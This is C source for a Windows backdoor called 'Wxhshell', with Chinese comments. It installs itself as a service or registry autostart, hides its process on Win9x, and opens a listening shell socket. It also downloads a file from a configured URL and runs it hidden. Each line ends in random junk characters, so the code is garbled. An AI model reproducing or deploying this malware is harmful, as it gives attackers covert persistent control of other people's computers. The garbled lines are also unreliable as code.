PROCNTQSIP NtQueryInformationProcess; h`k"A7M
H_ox_
u}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kg3EY<4i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k"]dK,,
hn=[1<#^(
HANDLE hProcess; :1^R9yWA4
PROCESS_BASIC_INFORMATION pbi; 9;Ox;;w
$UCAhG$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >W`4aA
if(NULL == hInst ) return 0; g(J&m<I
rJ{O(n]j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fCtPu08{Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +0q>fp_K(+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p2udm! )J
GBFtr
if (!NtQueryInformationProcess) return 0; ANSFdc
Z%Zd2
v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .0O2Qqdg
if(!hProcess) return 0; $.v5~UGb{\
#ap9Yoyk\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D{d>5P?W
J8)#PY[i4
CloseHandle(hProcess); ?Ovqp-sw
hk;7:G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dwd:6.J(
if(hProcess==NULL) return 0; /E5 5Pec
~Oq +IA~9
HMODULE hMod; `8>Py~
char procName[255]; Ox'/`Mppw
unsigned long cbNeeded; 9n5<]Q(
y>|{YWbp?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bv.`R0e&
-7&Gi
+]
CloseHandle(hProcess); ku
a)
K!
@%lBrM
if(strstr(procName,"services")) return 1; // 以服务启动 3LTcEd
e$uiJNS2
return 0; // 注册表启动 tP%{P"g3^
} S&Ee,((E(
Mz;[ +p
// 主模块 4bEf
int StartWxhshell(LPSTR lpCmdLine) \3jW~FV
{ >ap1"n9k
SOCKET wsl; U}l14
BOOL val=TRUE; [j:[
int port=0; U(;&(W"M
struct sockaddr_in door; ^T,Gu-2>
FSbHn{@
if(wscfg.ws_autoins) Install(); hy T1xa
eDZ8w
port=atoi(lpCmdLine); rJInj>|{=
'vaLUy9]
if(port<=0) port=wscfg.ws_port; cl*PFQp9j
T'aec]u
WSADATA data; 7 +@qB]Bi<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2{.QjYw^
}AvcoD/b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b4""|P?L
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ Ehn(}
door.sin_family = AF_INET; ?}Lg)EFH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `[YngYw
door.sin_port = htons(port);
E|$Oha[
s{4 \xAS>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nPgeLG"00
closesocket(wsl); NCf"tK'5n
return 1; gxGrspqg
} hwDbs[:
%&\ jOq~
if(listen(wsl,2) == INVALID_SOCKET) { @v*/R%rv t
closesocket(wsl); nD2,!71
return 1; 9r2IuS0
} R,
8s_jN
Wxhshell(wsl); 1lnU77;
WSACleanup(); 8g>b
.~gl19#:T
return 0; *X38{rj
j` /&r*zNq
} 8Z2.`(3c[
do
^RF<G
// 以NT服务方式启动 OW(&s,|6x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N|2y"5
{ M'1!<a-Mp
DWORD status = 0; #DkD!dW(l
DWORD specificError = 0xfffffff; l48k<
S2VVv$r_6
serviceStatus.dwServiceType = SERVICE_WIN32; O8N[Jl
serviceStatus.dwCurrentState = SERVICE_START_PENDING; v}v 5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )hj|{h7
serviceStatus.dwWin32ExitCode = 0; L {ymI)Y^
serviceStatus.dwServiceSpecificExitCode = 0; vY*\R0/a
serviceStatus.dwCheckPoint = 0; wn11\j&
serviceStatus.dwWaitHint = 0; &(xUhX T
; W7Y2Md
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~mN%(w!^
if (hServiceStatusHandle==0) return; [&P`ak
<Jp1A#
%p
status = GetLastError(); ^Dx#7bsDZR
if (status!=NO_ERROR) y$tX-9U
{ cUDg M
serviceStatus.dwCurrentState = SERVICE_STOPPED; i`OrMzL
serviceStatus.dwCheckPoint = 0; [ev-^[
serviceStatus.dwWaitHint = 0; ! ]Mc4!E
serviceStatus.dwWin32ExitCode = status; 9|S` ub'
serviceStatus.dwServiceSpecificExitCode = specificError; w9#R'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5`E))?*"Pe
return; ?4)v`*
} twk&-:'
|Zq\GA
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3,.%
s
serviceStatus.dwCheckPoint = 0; /4joC9\AB
serviceStatus.dwWaitHint = 0; :nQp.N*p
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LI:Tc7t
} |j_`z@7(
mT_GrIl[
// 处理NT服务事件,比如:启动、停止 +CTmcbyOi
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y~"9L|`f/
{ {&nV4c$v
switch(fdwControl) B[xR-6phW
{ H|+tC=]4IZ
case SERVICE_CONTROL_STOP: WSI
Xj5R
serviceStatus.dwWin32ExitCode = 0; C;sgK
serviceStatus.dwCurrentState = SERVICE_STOPPED; vg5NY =O
serviceStatus.dwCheckPoint = 0; L=7rDW)aa
serviceStatus.dwWaitHint = 0; &
QY#3yj=
{ b4~H3|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c d%hW
} "r-l8r,
return; &jJckT
case SERVICE_CONTROL_PAUSE: $au2%NL
serviceStatus.dwCurrentState = SERVICE_PAUSED; \X@IkL$r
break; E8tD)=1
case SERVICE_CONTROL_CONTINUE: z
Z%/W)t
serviceStatus.dwCurrentState = SERVICE_RUNNING; iUNnPJh
break; PqhlXqX9
case SERVICE_CONTROL_INTERROGATE: `45d"B
I
break; <"I?jgo
}; Wg1tip8s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HtzMDGV<
} uiK:*[
;?8Iys#
// 标准应用程序主函数 h3h8lt_|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mG}k 3e-
{ slSR=XOG
3LrsWAz'
// 获取操作系统版本 Z1]"[U[;
OsIsNt=GetOsVer(); s,
-*q}
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Tx 3$eU
Mw|SH;nM
// 从命令行安装 @}G|R\2P
if(strpbrk(lpCmdLine,"iI")) Install(); /'+4vXc@
Y~GUR&ww0n
// 下载执行文件 <`mOU}0)
if(wscfg.ws_downexe) { .jum "va%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R`7n^,
WinExec(wscfg.ws_filenam,SW_HIDE); Nz @8
} u~)%tL
auA.6DQ
if(!OsIsNt) { g _x\T+=
// 如果时win9x,隐藏进程并且设置为注册表启动 ct.Bg)E
HideProc(); 7NUenCdc
StartWxhshell(lpCmdLine); T Xl\hL\+
} wL'C1Vr
else ;.r2$/E
if(StartFromService()) vK`S!7x'&
// 以服务方式启动 Vd[2u
StartServiceCtrlDispatcher(DispatchTable); DoTs9w|5
else i/M+t~
// 普通方式启动 mN7&%Z
StartWxhshell(lpCmdLine); EUXV/QV{
gx#J%k,f
return 0; l^BEFk;
}